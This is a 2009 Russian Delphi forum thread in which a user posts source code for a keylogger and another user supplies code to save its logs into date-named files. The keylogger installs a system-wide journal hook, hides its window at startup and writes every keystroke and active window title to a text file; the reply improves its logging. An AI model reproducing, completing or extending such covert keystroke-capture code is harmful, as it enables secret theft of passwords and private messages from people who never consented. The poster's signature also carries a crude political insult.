Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 14.12.2009, 17:42   #1
ToBs
Неадекватное лицо
Пользователь
 
Аватар для ToBs
 
Регистрация: 08.12.2009
Сообщений: 13
По умолчанию Нужна помощь по кейлоггеру

Привет всем. Я тут впервые, прошу громко не матюкать =)
Так вот. нужна помощь...
Нашел код келоггера, но проблема в том, что он перезаписывает лог при каждом запуске.
Как можно сделать что бы создавался лог по названию даты.

Вот отрывки кода:
Код:

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Button2: TButton;
    procedure Button1Click(Sender: TObject);
    Procedure Edit50KeyPress(Sender: TObject; Var Key: Char);
    procedure Button2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);

    private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  L: TextFile;
  FormN: String;
  Sh, Ct: Boolean;
  HookHandle: HHook;
implementation

{$R *.dfm}

//--------------------------------------------------//
Function Deshifr(Value: String): Boolean;
Var
I: Integer;
Begin
I:=StrToInt(Value);
If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, Nil))=67699721 Then
Begin

Case I Of
21088:  Write(L, '0');
21358:  Write(L, '.');
20075:  Write(L, '+');
20321:  Write(L, '1');
20578:  Write(L, '2');
20835:  Write(L, '3');
19300:  Write(L, '4');
19557:  Write(L, '5');
19814:  Write(L, '6');
18279:  Write(L, '7');
18536:  Write(L, '8');
...
9547:   Write(L,'k');
9804:   Write(L,'l');
End;
End;
If GetKeyboardLayout(GetWindowThreadProcessId(GetForegroundWindow, Nil))<>67699721 Then
Begin
Case I Of
21088:  Write(L, '0');
....
9290:   Write(L,'î');
9547:   Write(L,'ë');
9804:   Write(L,'ä');
End;
End;
End;
//--------------------------------------------------//
Function HookProc(Code: Integer; WParam: Word; LParam: Longint): Longint; Stdcall;
Var Msg: PEVENTMSG;
Formname: Array[0..255] Of Char;
Begin
If Code>=0 Then
Begin
Result:=0;
Msg:=Pointer(LParam);
If GetWindowText(WindowFromPoint(Mouse.CursorPos),Formname,255)<>0
Then If FormN <>Formname Then
Begin
FormN:=Formname;
Writeln(L,formN)
End;
With Form1 Do
Case Msg.Message Of
//WM_LBUTTONDOWN:Writeln(L,'L-mouse');    ========
//WM_RBUTTONDOWN:Writeln(L,'R-mouse');    ========
WM_KEYDOWN:
Begin
If Inttostr(Msg.ParamL)='10768'
Then
Begin
If Not Sh Then Writeln(L,' [Shift-down]');
Sh:=True
End;
If Inttostr(Msg.ParamL)='7441' Then
Begin
If Not Ct Then
//Writeln(L,' Ctrl-down');
Ct:=True
End;
If (Inttostr(Msg.ParamL)<>'10768')And
(Inttostr(Msg.ParamL)<>'7441')
Then Deshifr(Inttostr(Msg.ParamL));
End;
WM_KEYUP:
Begin
If Inttostr(Msg.ParamL)='10768' Then
Begin
Writeln(L,' [Shift-up]');
Sh:=False
End;
If Inttostr(Msg.ParamL)='7441' Then
Begin
//Writeln(L,' Ctrl-up');
Ct:=False
End;
End;
End;
End
Else
Result:=CallNextHookEx(HookHandle,Code,WParam,LParam);
End;

procedure TForm1.Button1Click(Sender: TObject);
begin
Begin
HookHandle:=SetWindowsHookEx(WH_JOURNALRECORD,@HookProc,
HInstance,0);
Assignfile(L,'1.txt');
Rewrite(L);
Sh:=False;
Ct:=False;
FormN:='';
end;
end;

Procedure TForm1.Edit50KeyPress(Sender: TObject; Var Key: Char);
Begin
Writeln(L,Key);
End;

procedure TForm1.Button2Click(Sender: TObject);
begin
If HookHandle<>0 Then
UnhookWindowsHookEx(HookHandle);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
Application.ShowMainForm:=false;
Button1.Click;
end;

end.


Заранее благодарен
Прав был Жирик: Америку пора дрючить

Последний раз редактировалось ToBs; 14.12.2009 в 17:44.
ToBs вне форума Ответить с цитированием
Старый 14.12.2009, 21:37   #2
DeKot
Участник клуба
 
Аватар для DeKot
 
Регистрация: 12.08.2008
Сообщений: 1,977
По умолчанию

Код:
procedure CreateFile;
begin
  AssignFile(f,'C:\log' + FormatDateTime('c',Now) + '.txt');
// 'c' - дата. время; можно 'm' - только месяц, тогда будет один файл в 
// месяц и в него будут добавляться сведения
  if not FileExists('C:\log' + FormatDateTime('c',Now) + '.txt')then
  begin
    ReWrite(f);
    CloseFile(f);
  end;
  Append(f);
  Write(f,' ');
  Writeln(f,FormatDateTime('c',Now));
  Writeln(f,< то что хотите сохранить в логе>);
  CloseFile(f);
end;
И не сомневайся даже ... отдых - кайф, работа - лажа!
DeKot вне форума Ответить с цитированием
Старый 17.12.2009, 20:04   #3
ToBs
Неадекватное лицо
Пользователь
 
Аватар для ToBs
 
Регистрация: 08.12.2009
Сообщений: 13
По умолчанию

Спасибо Большое. Очень помогло=)
Прав был Жирик: Америку пора дрючить
ToBs вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц



Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Очень нужна помощь c матрицами, макросами в Excel. Заранее благодарен(поверьте, очень-очень нужна помощь) Farridjan Помощь студентам 1 03.07.2009 12:24
Очень нужна помощь с написанием программы... срочно(буду благодарен за помощь) 5Paladin5 Помощь студентам 3 02.07.2009 09:12
НУЖНА ПОМОЩЬ Nikolaj1 Общие вопросы Delphi 1 18.04.2009 18:52